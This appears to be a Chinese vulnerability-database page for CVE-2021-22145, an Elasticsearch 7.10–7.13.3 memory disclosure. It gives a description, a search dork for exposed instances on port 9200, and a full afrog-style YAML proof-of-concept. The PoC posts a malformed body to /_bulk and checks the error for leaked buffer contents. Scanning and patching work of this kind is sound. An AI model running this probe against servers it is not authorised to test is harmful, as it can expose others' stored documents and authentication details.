CVE-2021-22145: ElasticSearch 7.13.3 - Memory disclosure

日期: 2025-09-01 | 影响软件: ElasticSearch | POC: 已公开

漏洞描述

A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details. ElasticSearch && port="9200"

PoC代码[已公开]

id: CVE-2021-22145

info:
  name: ElasticSearch 7.13.3 - Memory disclosure
  author: dhiyaneshDk
  severity: medium
  description: |
    A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details.
    ElasticSearch && port="9200"
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22145
    - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
    - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177

rules:
  r0:
    request:
      method: POST
      path: /_bulk
      headers:
        Content-Type: application/json
      body: |
        @
    expression: response.status >= 400 && response.body.bcontains(b'root_cause') && response.body.bcontains(b'truncated') && response.body.bcontains(b'reason')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2021/CVE-2021-22145.yaml

相关漏洞推荐